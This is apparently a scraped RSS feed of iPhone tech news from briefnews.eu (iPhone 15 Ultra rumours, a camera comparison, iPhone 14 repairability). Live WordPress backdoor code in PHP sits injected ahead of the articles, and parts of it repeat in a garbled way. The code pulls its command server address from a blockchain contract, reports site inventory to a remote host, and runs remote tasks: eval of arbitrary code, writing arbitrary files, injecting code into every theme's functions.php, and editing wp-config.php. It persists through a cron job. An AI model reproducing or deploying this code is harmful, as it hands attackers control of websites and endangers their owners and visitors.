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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); iPhone – Brief News https://briefnews.eu Latest World News. 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]]> https://briefnews.eu/youll-need-a-magnifying-glass-to-find-the-iphone-14s-upgrades/feed/ 0 iPhone 15 ‘Ultra’ could replace next year’s Pro Max model https://briefnews.eu/iphone-15-ultra-could-replace-next-years-pro-max-model/ https://briefnews.eu/iphone-15-ultra-could-replace-next-years-pro-max-model/#respond Sun, 25 Sep 2022 22:02:25 +0000 https://briefnews.eu/iphone-15-ultra-could-replace-next-years-pro-max-model/ Next year’s iPhone could introduce a change to Apple’s naming convention. According to Bloombergreporter Mark Gurman, the company could call its largest and most expensive device in 2023 the iPhone 15 Ultra instead of the iPhone 15 Pro Max as you would expect given its recent track record. The shift would reportedly coincide with the most significant redesign of the iPhone since Apple released the iPhone 12 in 2019. Gurman expects the iPhone 15 to feature USB-C, among other “bigger changes.”

Apple’s smartphone line has seen a couple of branding tweaks over the years. In the early days of the iPhone, when the company released a substantial update every two years, iterative models carried an “S” designation. Since 2019 and the diversification of the line to include separate mainstream and premium variants, the company has employed “Pro” and “Pro Max” designations to market its most advanced phones. Moreover, earlier this year saw the return of the Plus branding, which Apple had not used since 2017. Dropping Pro Max in favor of Ultra would make a lot of sense since the Apple Watch line now includes an Ultra model.

The iPhone 15 rumor mill has already produced a few interesting predictions. Gurman previously reported that Apple was testing USB-C iPhones ahead of the European Union implementing a law requiring all new smartphones made after 2024 to feature the port. More recently, display analyst Ross Young said the entire iPhone 15 line would feature the iPhone 14 Pro’s Dynamic Island display cutout.

Looking to the more immediate future, Gurman also wrote today that Apple might not hold another event this fall. He says the company plans to announce new Mac mini, MacBook Pro and iPad Pro models before the end of the year. However, as those will be primarily iterative updates to existing devices, Gurman suggests Apple is “more likely” to share the existence of those products with the world through a series of press releases.

]]> https://briefnews.eu/iphone-15-ultra-could-replace-next-years-pro-max-model/feed/ 0 Which $1,000 phone has the better camera — iPhone 14 Pro or Galaxy Z Flip 4? https://briefnews.eu/which-1000-phone-has-the-better-camera-iphone-14-pro-or-galaxy-z-flip-4/ https://briefnews.eu/which-1000-phone-has-the-better-camera-iphone-14-pro-or-galaxy-z-flip-4/#respond Sun, 25 Sep 2022 13:33:22 +0000 https://briefnews.eu/which-1000-phone-has-the-better-camera-iphone-14-pro-or-galaxy-z-flip-4/ The iPhone 14 Pro and the Samsung Galaxy Z Flip 4 are very different smartphones. Try to fold the iPhone like the Z Flip 4, and it’ll all end in tears. Yet if you’ve got $ 1,000 to spend, these two sit alongside each other on the shelves, and that makes comparing them an interesting proposition. Both are very tempting, just for different reasons. Can the camera performance help make any decision easier?

iPhone 14 Pro vs Galaxy Z Flip 4: camera specs

A pair of 12-megapixel cameras live on the back of the Galaxy Z Flip 4, both covering the main and wide-angle duties. The main camera has optical image stabilization and an f/1.8 aperture, while the wide-angle camera has a 123-degree field of view. There’s no telephoto camera, but Samsung provides a 10x digital zoom feature. However, it doesn’t make it a big deal and has not added a shortcut to the camera app.

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The iPhone 14 Pro has a 48MP main camera with its second-generation optical image stabilization and an f/1.78 aperture, which is joined by a 12MP wide-angle camera and a 12MP telephoto with 2x and 3x optical zoom. On the software side, Apple loads its new Photonic Engine, plus Deep Fusion and Smart HDR 4 features. The 12MP selfie camera also makes use of these features, while the Samsung phone has a 10MP f/2.4 camera at the top of the screen.

On paper, the iPhone 14 Pro has the more impressive specification, and the optical zoom feature will make it more versatile. Can this apparent superiority carry across to a decisive win? All the photos below were taken using the automatic settings across several different days. All have been examined on a color-calibrated monitor, then resized before uploading here.

iPhone 14 Pro vs Galaxy Z Flip 4: main camera

The main camera test results show the iPhone 14 Pro isn’t going to have the test all to itself, as the Z Flip 4 takes some really great photos. Perhaps not technically as good, but with its recent phones, Samsung has got the level of saturation and pop just right — taking very shareable photos that instantly appeal.

Apple iPhone 14 Pro main camera photo.
Samsung Galaxy Z Flip 4 main camera photo.

The photo of the car illustrates what I mean. The iPhone 14 Pro’s photo is more realistic, has more accurate colors, and has better exposure. But there’s a lot more visual punch to the Z Flip 4’s photo, with brighter colors and more saturation. Zoom in, and the level of detail in each is similar, but the Z Flip 4 loses out on the intricate textures seen in the iPhone’s photo.

Apple iPhone 14 Pro main camera photo.
Samsung Galaxy Z Flip 4 main camera photo.

Take a look at the photo of the canal too, where the grass is more vibrant in the Z Flip 4’s photo, and the sky less oppressive. The iPhone 14 Pro’s picture is closer to what I saw with my own eyes, but it doesn’t have that Samsung pop. The iPhone’s photo is obviously technically superior, but that doesn’t always matter when you want to quickly share the photo.

Apple iPhone 14 Pro main camera photo.
Samsung Galaxy Z Flip 4 main camera photo.

Finally, the photo of the flowers shows where the Galaxy Z Flip 4’s love of bright colors and over-exposure really hurts the final image. While I like the brightness showing the texture of the brickwork and the basket, the flowers were red and not orange, making this a very different scene from real life. The iPhone 14 Pro’s consistent natural tones and balanced colors mean it always delivers a strong photo, and I love the depth of field it generated.

The Galaxy Z Flip 4’s camera can take excellent photos, and I’ve found most very easy to share without a second thought, but the iPhone 14 Pro’s consistency and realism have to win through.

Winner: Apple iPhone 14 Pro

iPhone 14 Pro vs Galaxy Z Flip 4: wide-angle camera

The wide-angle camera tells a similar story. The Z Flip 4 produces bright, colorful photos that aren’t particularly subtle when looked at alongside the iPhone 14 Pro’s natural, understated pictures. The iPhone’s photo of the bridge over the canal is atmospheric with a natural look, but at the expense of a blown-out sky. The Z Flip 4’s vibrant greens overpower the image.

Apple iPhone 14 Pro main camera photo.
Samsung Galaxy Z Flip 4 wide-angle photo.

There’s less edge distortion in the iPhone’s wide-angle photo, and very little of the stretching seen in the Z Flip 4’s picture, especially in the tree trunk. This lack of distortion is also visible in the photo of the church, where the grass remains normal-looking in the iPhone’s picture but stretched and blurred in the Z Flip 4’s. It should be noted the Z Flip 4’s wide-angle camera has a greater field of view. Obviously, the treatment of the sky is different too, and a return to the Samsung phone’s love of producing a vibrant and exciting photo at the expense of realism.

Apple iPhone 14 Pro wide-angle photo.
Samsung Galaxy Z Flip 4 wide-angle photo.

The last photo here shows once again where the Z Flip 4’s camera can produce eye-catching photos where realism doesn’t really matter. The sign is readable, the greenery colorful, and although it could do with toning down a bit, the scene is far more attractive than the iPhone’s dull, almost wintery look.

The iPhone 14 Pro will take the win due to the lack of distortion and, more often than not, getting the tone of the scene right, but the photos won’t be to everyone’s taste. That’s where the Z Flip 4 comes in, and its main and wide-angle cameras really do provide an alternative to the iPhone, despite not being as technically adept.

Winner: Apple iPhone 14 Pro

iPhone 14 Pro vs Galaxy Z Flip 4: telephoto camera

Only one example is required to see the difference between the iPhone 14 Pro’s 3x optical zoom and the Z Flip 4’s 3x digital zoom. This isn’t a fair fight, and to give Samsung credit, it hasn’t added a quick shortcut to a digital 3x zoom in the viewfinder — so it really doesn’t want you to start zooming in.

Apple iPhone 14 Pro 3x zoom photo.
Samsung Galaxy Z Flip 4 3x zoom photo.

There’s good reason because the photos it takes aren’t very good. The bridge is recognizable and the colors are fine, plus it’s exposed effectively enough, but the overall image is pixelated and noisy. It’s very clear the photo has been taken with a digital zoom. The iPhone 14 Pro’s telephoto camera is probably its best, or most improved, camera over the previous generation phone and the photos it takes are superb. Little else needs to be said, apart from don’t use the Z Flip 4’s digital zoom if you want good photos.

Winner: Apple iPhone 14 Pro

iPhone 14 Pro vs Galaxy Z Flip 4: Night mode

Night mode is where the test gets really interesting, as both have distinct strengths and weaknesses. The first photo shows where the Z Flip 4 can sometimes win over the iPhone 14 Pro, with a sharper, less noisy photo. The flag and the glitter ball are more defined, the brickwork has a sharpness missing from the iPhone’s photo, and it’s somewhat brighter too.

Apple iPhone 14 Pro Night mode photo.
Samsung Galaxy Z Flip 4 Night mode photo.

But the second photo shows where the Samsung phone falls down, with a warmer image that isn’t as well balanced as the iPhone’s photo, and really shows where the Z Flip 4 relies on smoothing in some of its Night mode shots. The iPhone avoids all this with excellent white balance, less noise, more texture, and a more realistic overall tone.

Apple iPhone 14 Pro Night mode photo.
Samsung Galaxy Z Flip 4 Night mode photo.

These results tracked across most lowlight photos, and it seemed to come down to the amount of light available. The iPhone preferred darker conditions, but give the Z Flip 4 just a little more light, and the photos are much better. Neither has perfect photos, so this one is a draw. However, I’d expect Apple to improve its Night mode through software updates soon, due to its recent release, and it may take Samsung a little longer to enhance the camera.

Winner: Draw

iPhone 14 Pro vs Galaxy Z Flip 4: portrait mode

The Galaxy Z Fold 4’s portrait mode is far better at isolating objects, dealing with short distances, and has a better understanding of what should bein in focus and what shouldn’t. It’s more versatile than the iPhone’s portrait mode, which seems to prefer to find faces and not objects. That’s fine, but I prefer being able to use the mode for everything, not just people.

Apple iPhone 14 Pro Portrait mode photo.
Samsung Galaxy Z Flip 4 Portrait mode photo.

This simple photo of the Apple Watch SE 2 on my wrist illustrates where the iPhone 14 Pro gets it wrong so often. It can’t seem to isolate everything as the Z Flip 4 does, which even manages to get my arm hair into the foreground. I far prefer the warmer tone too. And when I took these shots, the Samsung phone recognized my arm and watch instantly, while the iPhone repeatedly asked me to move further away from the subject before it locked on.

Apple iPhone 14 Pro Portrait mode photo.
Samsung Galaxy Z Flip 4 Portrait mode photo.

The second photo of the padlock and gate highlights how good the Z Flip 4’s portrait mode can be. The entire chain is in focus, as is the U-shaped bolt above it, while the wood fades into the background very effectively. It’s a photo you could share happily due to its natural look. The iPhone 14 Pro simply can’t compete, and looks obviously “fake.”

Winner: Samsung Galaxy Z Flip 4

iPhone 14 Pro vs Galaxy Z Flip 4: selfie camera

The Galaxy Z Flip 4’s selfie camera may have fewer megapixels, but it has the iPhone 14 Pro beaten in this category. I’ve been consistently impressed with the selfies taken by the Z Flip 4, which captures my skin tone in a way that I like, introduces plenty of detail, and is very effective in low light. This is a surprise, as the iPhone is supposed to fall back on the Photonic Engine here, something it does well with the 3x zoom using the rear camera in low light.

Apple iPhone 14 Pro portrait selfie.
Samsung Galaxy Z Flip 4 Portrait selfie.

Selfies taken with the Z Flip 4 still have problems, though. The edge recognition in portrait mode isn’t as good as the iPhone’s, and colors are often a little less realistic, but I’ll take those when the photo of me is more visually pleasing to my eye. I also like the Z Flip 4’s editing suite for selfies, with its slick background changes and adjustable light source when you select the Studio setting.

Plus, you can use the Z Flip 4’s Cover screen to take selfies with the rear cameras, the phone folds to create a handy stand so you can take selfies without holding the phone, and Samsung’s palm gesture to activate the shutter makes all of this very easy. It’s by far the better phone for selfies.

Winner: Samsung Galaxy Z Flip 4

Which one should get your $ 1,000?

It’s surprisingly close. The Apple iPhone 14 Pro won three categories, the Galaxy Z Flip 4 took two wins, and the pair had a single draw. If forced to pick a winner of the Night mode category it would be the iPhone 14 Pro due to its ability to effectively use Night mode with the 3x zoom, something the Galaxy Z Flip 4 cannot replicate. But based on the photos I took for this test, it’s a draw. The iPhone 14 Pro beat the Samsung phone in the three arguably most important categories covering the main camera, wide-angle, and telephoto. But as I’ve said throughout, some may actually prefer the Z Flip 4’s vibrant shots.

So which one should you buy? Leaving the cameras aside for a moment, remember only one of these phones folds up, and it’s a huge selling point. The Z Flip 4 is so compact when folded, yet completely normal when unfolded. This design has been tied into the camera’s functionality, too, making it a genuinely fun camera phone.

It’s the best way to look at these two $ 1,000 phones. Both are two of the best phones you can buy, but there’s a distinct difference in their character. The Z Flip 4 always feels fun and exciting, and the photos it takes reflect that. The iPhone 14 Pro is a more serious device, and its photos will please those who demand quality and realism. Before you go off to buy one, make sure you take a look at our comparison between the iPhone 13 Pro’s camera and the iPhone 14 Pro, where the results are quite different again.

]]> https://briefnews.eu/which-1000-phone-has-the-better-camera-iphone-14-pro-or-galaxy-z-flip-4/feed/ 0 iPhone 14 teardown: One key change makes it much easier to repair https://briefnews.eu/iphone-14-teardown-one-key-change-makes-it-much-easier-to-repair/ https://briefnews.eu/iphone-14-teardown-one-key-change-makes-it-much-easier-to-repair/#respond Tue, 20 Sep 2022 10:32:51 +0000 https://briefnews.eu/iphone-14-teardown-one-key-change-makes-it-much-easier-to-repair/

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As has become an annual custom, iFixit has done a teardown of the iPhone 14, Apple’s baseline flagship iPhone for 2022. While the iPhone 14 seems almost identical to its immediate predecessor on the surface, iFixit found one vital difference Apple hasn’t announced publicly: it’s much easier to repair.

iFixit calls it “the most significant design change to the iPhone in a long time,” for their purposes, at least.

In the new design, the bulk of the phone is in a midframe, but the frame can be opened on either side—both the front and the back. Other recent models—including the still-sold iPhone 13, iPhone 12, and iPhone SE, as well as the iPhone 14 Pro and 14 Pro Max—could only be opened from the front.

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]]> https://briefnews.eu/iphone-14-teardown-one-key-change-makes-it-much-easier-to-repair/feed/ 0 Apple plans a fix for “grinding,” “vibrating” iPhone 14 Pro Max cameras next week https://briefnews.eu/apple-plans-a-fix-for-grinding-vibrating-iphone-14-pro-max-cameras-next-week/ https://briefnews.eu/apple-plans-a-fix-for-grinding-vibrating-iphone-14-pro-max-cameras-next-week/#respond Mon, 19 Sep 2022 22:29:05 +0000 https://briefnews.eu/apple-plans-a-fix-for-grinding-vibrating-iphone-14-pro-max-cameras-next-week/
The iPhone 14 Pro and Pro Max.

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The ever-larger lens array may not be the only bumpy thing about the iPhone 14 Pro Max’s camera. Some users are reporting that the phone is making grinding noises and vibrating when they try to take photos with third-party apps like SnapChat and TikTok, severely distorting the camera images and, in some cases, damaging the camera’s hardware. The issue doesn’t appear to be universal, but MacRumors has gathered complaints from users across multiple social media sites and its own forums, as has The Guardian. Some YouTubers have also documented the phenomenon.

Bloomberg’s Mark Gurman says that Apple has acknowledged the issue and plans to release a fix next week.

The distortion and vibration is most likely being caused by the camera’s optical image stabilization gyroscope, which when working normally corrects for shaking and hand motion so that the camera can take in a bit more light without taking blurry images (although the iPhone cameras do feature optical zoom, it’s handled using different physical lenses and not one lens with mechanical parts that can physically zoom in and out).

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]]> https://briefnews.eu/apple-plans-a-fix-for-grinding-vibrating-iphone-14-pro-max-cameras-next-week/feed/ 0 Apple made the iPhone 14 easier to repair than you expect https://briefnews.eu/apple-made-the-iphone-14-easier-to-repair-than-you-expect/ https://briefnews.eu/apple-made-the-iphone-14-easier-to-repair-than-you-expect/#respond Mon, 19 Sep 2022 17:34:27 +0000 https://briefnews.eu/apple-made-the-iphone-14-easier-to-repair-than-you-expect/ Apple acknowledged that the iPhone 14 was designed to be easier to repair, but it might have undersold that upgrade. iFixit has finished a teardown of this year's base iPhone, and it's clear that the device was reworked from the ground up with do-it-yourself fixes in mind. The back glass is easier and cheaper to fix, as promised, but used a metal midframe to keep the front just as accessible. The design is more repairable than the many Android phones that are only simple to open from the back, iFixit said.

The iPhone 14's midframe maintains the same structural rigidity you saw in the 13 family. Apple had already moved the earpiece and front camera array to a more repairable location on the previous generation's mainframe.

The iPhone 14 isn't going to make Fairphone buyers regret their purchases. Apple still requires that customers and technicians activate parts after they're installed, so you can't just use an unofficial back instead of potentially pricier Self Service Repair components. Even so, iFixit claims this is the most repairable Apple handset since 2016's iPhone 7.

The rework isn't completely surprising. Apple is facing pressure to improve repairability from both the federal government and state legislatures. If it didn't address at-home repairs with its designs, it risked battles with regulators that could force changes and dish out penalties. Whatever the reasoning, you probably won't mind if you've been waiting for an iPhone that's truly fix-friendly.

]]> https://briefnews.eu/apple-made-the-iphone-14-easier-to-repair-than-you-expect/feed/ 0 All iPhone 15 models will reportedly feature Dynamic Island display cutouts https://briefnews.eu/all-iphone-15-models-will-reportedly-feature-dynamic-island-display-cutouts/ https://briefnews.eu/all-iphone-15-models-will-reportedly-feature-dynamic-island-display-cutouts/#respond Mon, 19 Sep 2022 03:23:59 +0000 https://briefnews.eu/all-iphone-15-models-will-reportedly-feature-dynamic-island-display-cutouts/ The entire iPhone 15 lineup will reportedly include the iPhone 14 Pro’s Dynamic Island. In a tweet spotted by MacRumors, display analyst Ross Young said he expects Apple to make the screen cutout standard on all 2023 iPhones. Additionally, the company will reportedly keep its ProMotion 120Hz display technology exclusive to Pro variants due to a supply chain that “can’t support” the feature on more affordable models. In a subsequent tweet, Young said Apple is likelier to trickle down the technology to less expensive iPhones in 2024.

Making the Dynamic Island standard on every new iPhone moving forward would make a lot of sense for Apple, particularly to encourage developers to take advantage of the feature. Some apps already use the cutout for fun features. Once iOS 16.1 arrives later this year, Dynamic Island will also work with Apple’s Live Activities API. It’s also a feature that would make the standard iPhone more appealing to consumers holding onto their current device. While the iPhone 12 was a big upgrade over the iPhone 11, the iPhone 13 and iPhone 14 have been less exciting. There’s not much reason to buy the latest one unless you’re coming from an iPhone several years old, and that's not great for Apple's bottom line.

]]> https://briefnews.eu/all-iphone-15-models-will-reportedly-feature-dynamic-island-display-cutouts/feed/ 0 The Best MagSafe Accessories for Your New iPhone https://briefnews.eu/the-best-magsafe-accessories-for-your-new-iphone/ https://briefnews.eu/the-best-magsafe-accessories-for-your-new-iphone/#respond Sun, 18 Sep 2022 15:28:08 +0000 https://briefnews.eu/the-best-magsafe-accessories-for-your-new-iphone/ Load up your iPhone 14, iPhone 13, or iPhone 12 with a magnetic bike mount, tripod, wallet, or power bank.


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]]> https://briefnews.eu/the-best-magsafe-accessories-for-your-new-iphone/feed/ 0 Apollo update transforms the iPhone 14 Pro’s Dynamic Island into a home for ‘Pixel Pals’ https://briefnews.eu/apollo-update-transforms-the-iphone-14-pros-dynamic-island-into-a-home-for-pixel-pals/ https://briefnews.eu/apollo-update-transforms-the-iphone-14-pros-dynamic-island-into-a-home-for-pixel-pals/#respond Sun, 18 Sep 2022 01:09:25 +0000 https://briefnews.eu/apollo-update-transforms-the-iphone-14-pros-dynamic-island-into-a-home-for-pixel-pals/ The iPhone 14 Pro and Pro Max may have only arrived yesterday but developers are already dreaming up fun and interesting use cases for Apple’s new Dynamic Island interface. Take Apollo creator Christian Selig, for instance. On Friday, he updated his Reddit client to implement support for “Pixel Pals.” The feature adds a Tamagotchi-like critter that does cute things on top of your phone’s Dynamic Island while you have Apollo open. You can even choose between multiple creatures, including a cat, dog, hedgehog, fox or axolotl.

If you don’t have an iPhone 14 Pro or Pro Max, don’t worry. You can also add the creatures to your phone as lock screen widgets – provided you have iOS 16 installed. On the subject of iPhone widgets, Google teased one that will function as a shortcut to Chrome’s Dino game.

Selig isn’t the only person doing something creative with the iPhone 14 Pro’s Dynamic Island. In a tweet spotted by The Verge, WaterMinder creator Kriss Smolka showed off Hit the Island, a game that uses the UI element for a Pong-style game. You can download it from the App Store. I can only speak for myself, but these apps make me a bit jealous I'm still rocking an iPhone 12.  

]]> https://briefnews.eu/apollo-update-transforms-the-iphone-14-pros-dynamic-island-into-a-home-for-pixel-pals/feed/ 0 Apple fixes iOS 16 activation bug affecting iPhone 14 buyers https://briefnews.eu/apple-fixes-ios-16-activation-bug-affecting-iphone-14-buyers/ https://briefnews.eu/apple-fixes-ios-16-activation-bug-affecting-iphone-14-buyers/#respond Fri, 16 Sep 2022 13:13:04 +0000 https://briefnews.eu/apple-fixes-ios-16-activation-bug-affecting-iphone-14-buyers/ You might have a rough time activating your iPhone 14. As MacRumorsreports, Apple has fixed an iOS 16 bug that broke activation of iMessage and FaceTime on open WiFi networks. Your brand new device might not work properly out of the box, depending on your situation. You only have to install an iOS 16.0.1 update to address the bug, but you may need to restore the phone with a computer to load the new software.

It's not clear whether Apple will have a solution apart from shipping future devices with iOS 16.0.1. MacRumors says it obtained a company memo indicating the problem was "under investigation," while the support document for the patch only tells users to update. We've asked Apple for comment.

The flaw likely won't last for long and should only affect a small number of users. Still, the timing is less than ideal. The iPhone 14 lineup is just reaching customers as of this writing — their first experience might not be very smooth if they expect to use iMessage and FaceTime on day one.

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